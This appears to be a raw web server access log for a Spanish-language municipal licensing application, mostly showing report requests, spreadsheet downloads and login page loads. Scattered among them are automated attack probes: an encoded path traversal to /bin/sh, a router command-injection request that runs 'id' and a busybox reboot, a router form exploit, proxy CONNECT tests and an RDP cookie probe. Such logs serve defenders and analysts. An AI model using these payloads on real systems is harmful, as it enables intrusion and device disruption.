[29/Sep/2024:21:30:41 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656205963 HTTP/1.1" 200 18348 181.161.6.128 - - [29/Sep/2024:21:30:43 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656208197 HTTP/1.1" 200 101 181.161.6.128 - - [29/Sep/2024:21:30:43 -0300] "GET /cormun/Licencias-6589.xls HTTP/1.1" 200 58368 181.161.6.128 - - [29/Sep/2024:21:30:45 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656210796 HTTP/1.1" 200 11531 181.161.6.128 - - [29/Sep/2024:21:30:48 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727656212863 HTTP/1.1" 200 101 181.161.6.128 - - [29/Sep/2024:21:30:48 -0300] "GET /cormun/Licencias-4568.xls HTTP/1.1" 200 58368 154.213.184.25 - - [29/Sep/2024:21:49:10 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 154.213.184.15 - - [29/Sep/2024:21:52:00 -0300] "POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh HTTP/1.1" 400 - 181.161.6.128 - - [29/Sep/2024:21:59:14 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727657919068 HTTP/1.1" 200 18231 181.161.6.128 - - [29/Sep/2024:21:59:26 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727657931140 HTTP/1.1" 200 101 181.161.6.128 - - [29/Sep/2024:21:59:26 -0300] "GET /cormun/Licencias-4279.xls HTTP/1.1" 200 82432 181.161.6.128 - - [29/Sep/2024:22:03:56 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727658201052 HTTP/1.1" 200 18469 181.161.6.128 - - [29/Sep/2024:22:04:08 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727658213396 HTTP/1.1" 200 8755 181.161.6.128 - - [29/Sep/2024:22:04:23 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727658228800 HTTP/1.1" 200 101 181.161.6.128 - - [29/Sep/2024:22:04:23 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727658228921 HTTP/1.1" 200 8732 181.161.6.128 - - [29/Sep/2024:22:04:23 -0300] "GET /cormun/Licencias-8163.xls HTTP/1.1" 200 8192 181.161.6.128 - - [29/Sep/2024:22:06:28 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727658353699 HTTP/1.1" 200 101 181.161.6.128 - - [29/Sep/2024:22:06:28 -0300] "POST /cormun/servlet/trlicencias?faef911f6f3a3a51cc8788668e5fb450,,gx-no-cache=1727658353817 HTTP/1.1" 200 8732 181.161.6.128 - - [29/Sep/2024:22:06:28 -0300] "GET /cormun/Licencias-8918.xls HTTP/1.1" 200 8192 122.39.65.69 - - [29/Sep/2024:22:08:02 -0300] "POST /goform/set_LimitClient_cfg HTTP/1.1" 400 - 190.161.113.119 - - [29/Sep/2024:22:15:08 -0300] "½¹0=ØH ð³‚jºå« KÀYÕ$hÚLcϽ8¹D¾´  ç³vdʑÏ+qÔnsi—GÞ¢©“’Lyƙ™ùE| jjÀ+À/À,À0̨̩ÀÀœ/5PDih2-#" 400 - 190.161.113.119 - - [29/Sep/2024:22:15:08 -0300] "½¹«ØM"†xÊbö³9x1‹ìeŠë5¢B%©µÚèN  l " 400 - 190.161.113.119 - - [29/Sep/2024:22:15:08 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1715 190.161.113.119 - - [29/Sep/2024:22:15:08 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 190.161.113.119 - - [29/Sep/2024:22:15:08 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 190.161.113.119 - - [29/Sep/2024:22:15:08 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 190.161.113.119 - - [29/Sep/2024:22:15:08 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 190.161.113.119 - - [29/Sep/2024:22:15:08 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 190.161.113.119 - - [29/Sep/2024:22:15:08 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1725 190.161.113.119 - - [29/Sep/2024:22:15:09 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 190.208.14.8 - - [29/Sep/2024:22:15:16 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1719 190.208.14.8 - - [29/Sep/2024:22:15:17 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 190.208.14.8 - - [29/Sep/2024:22:15:17 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 190.208.14.8 - - [29/Sep/2024:22:15:17 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 190.208.14.8 - - [29/Sep/2024:22:15:17 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 190.208.14.8 - - [29/Sep/2024:22:15:17 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 190.208.14.8 - - [29/Sep/2024:22:15:17 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 190.208.14.8 - - [29/Sep/2024:22:15:17 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 190.208.14.8 - - [29/Sep/2024:22:15:18 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 190.208.14.8 - - [29/Sep/2024:22:15:18 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 190.208.14.8 - - [29/Sep/2024:22:15:18 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 190.208.14.8 - - [29/Sep/2024:22:15:18 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 190.208.14.8 - - [29/Sep/2024:22:15:18 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 190.208.14.8 - - [29/Sep/2024:22:15:18 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 190.208.14.8 - - [29/Sep/2024:22:15:18 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1729 190.208.14.8 - - [29/Sep/2024:22:15:18 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 190.208.14.8 - - [29/Sep/2024:22:15:18 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 190.161.113.119 - - [29/Sep/2024:22:15:21 -0300] "POST /cormun/servlet/hlogin?0d9cb701f7ddd7aa743d5ad288236b9f,gx-no-cache=1727658886970 HTTP/1.1" 200 444 154.213.187.186 - - [29/Sep/2024:22:48:15 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 185.224.128.67 - - [29/Sep/2024:23:03:40 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60busybox+reboot%3B%60) HTTP/1.1" 404 1013 80.66.76.134 - - [29/Sep/2024:23:24:41 -0300] "/*àCookie: mstshash=Administr " 400 -